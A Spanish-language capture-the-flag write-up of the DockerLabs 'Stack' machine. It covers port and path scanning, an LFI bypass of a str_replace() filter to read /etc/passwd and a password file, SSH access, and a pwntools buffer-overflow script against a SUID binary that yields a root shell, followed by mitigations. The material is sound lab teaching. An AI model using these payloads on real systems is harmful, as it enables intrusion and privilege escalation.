Ir al contenido

Stack

Este documento detalla la explotación completa de la máquina Stack, desarrollada por 4bytes para DockerLabs y clasificada con un nivel de dificultad Media.

El proceso se organiza en tres fases:

  1. Reconocimiento: Identificación de servicios expuestos, rutas accesibles y pistas filtradas.
  2. Explotación: Abuso de una vulnerabilidad LFI mal parcheada para obtener credenciales válidas.
  3. Escalada de privilegios: Explotación de un binario SUID vulnerable a buffer overflow para obtener una shell como root.

Todo el compromiso se realizó dentro del entorno aislado proporcionado por DockerLabs.


AtributoValor
NombreStack
Autor4bytes
DificultadMedia
Fecha21/12/2024
PlataformaDockerLabs

Ventana de terminal
unzip Stack.zip
sudo bash auto_deploy.sh Stack.tar

IP asignada


Ventana de terminal
mkdir -p Stack/{content,exploits,nmap,gobuster,scripts}
cd Stack

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

Puertos identificados:

  • 22/tcp — SSH
  • 80/tcp — HTTP

Puertos abiertos


Se realiza un escaneo inicial de rutas:

Ventana de terminal
feroxbuster -u http://172.17.0.2 -d 0 \
-w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt \
-x php,txt,html,js,bak,old \
-t 40 \
-C 404,403

result of scan

Rutas relevantes encontradas:

  • /index Muestra una página en desarrollo, pero en el código fuente aparece una pista indicando que la contraseña de bob se encuentra en: /usr/share/bob/password.txt

    pista

  • /file.php Página aparentemente protegida, presumiblemente relacionada con carga o lectura de archivos.

  • /note.txt Indica que existía una vulnerabilidad LFI que intentaron “corregir” con str_replace(). Esto es un claro indicio de que el parche puede ser evadido.

    note

Con esta información ya existe una cadena clara de explotación: LFI → lectura de credenciales → SSH.


Sabemos que /file.php fue parchado de manera superficial usando str_replace(), lo cual suele ser insuficiente para evitar LFI.

Para validar vectores posibles, realizamos fuzzing con ffuf:

Ventana de terminal
ffuf -u http://172.17.0.2/file.php?file=FUZZ \
-w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
-fs 0

El resultado confirma múltiples payloads válidos, lo que significa que la sanitización es débil.

Probamos un bypass clásico:

http://172.17.0.2/file.php?file=....//....//....//etc/passwd

El archivo se lee correctamente:

content of passwd

Solo existe el usuario bob, y ya sabemos que su contraseña está en el archivo filtrado en /index.

Procedemos a leer:

http://172.17.0.2/file.php?file=....//....//....//usr/share/bob/password.txt

Obtenemos la contraseña en texto plano y accedemos vía SSH:

Ventana de terminal
ssh bob@172.17.0.2

ssh connect

Acceso inicial conseguido.


Buscamos binarios SUID:

Ventana de terminal
find / -perm -4000 2>/dev/null

result of find

Destaca:

/opt/command_exec

Al ejecutarlo, solicita una contraseña, por lo que lo descargamos a nuestra máquina para analizarlo con Ghidra.

El main revela una vulnerabilidad de buffer overflow:

content of main

Resumen técnico:

char local_98[64]; // buffer para comando
char local_58[76]; // buffer vulnerable con gets()
uint local_c; // variable que debe valer 0xdead

La lógica exige que local_c == 0xdead para permitir ejecutar comandos. Esto puede forzarse sobrescribiendo la variable mediante un overflow en local_58.


Construimos un payload sencillo:

script.py
from pwn import *
context.binary = '/opt/command_exec'
p = process('/opt/command_exec')
offset = 76
payload = b'A' * offset + p32(0xdead)
p.sendline(payload)
p.interactive()

Instalamos pwntools y ejecutamos:

Ventana de terminal
python3 script.py

Salida:

result of script

Ahora podemos ejecutar comandos arbitrarios como root. Abrimos una shell:

/bin/bash

root

Escalada completada.


  • LFI mal parcheado usando únicamente str_replace().
  • Exposición de credenciales en rutas accesibles.
  • Binario SUID vulnerable a buffer overflow.
  • Mala práctica en desarrollo: uso de gets() (inseguro, obsoleto y prohibido).
  • Falta de separación de privilegios entre usuarios.

  • Implementar una validación estricta de rutas para evitar LFI.
  • Eliminar credenciales del código fuente y rutas públicas.
  • Deshabilitar o revisar binarios SUID innecesarios.
  • Reemplazar gets() por funciones seguras (fgets()).
  • Configurar permisos mínimos necesarios para cada usuario.
  • Revisar código antes de producción, especialmente en binarios con privilegios elevados.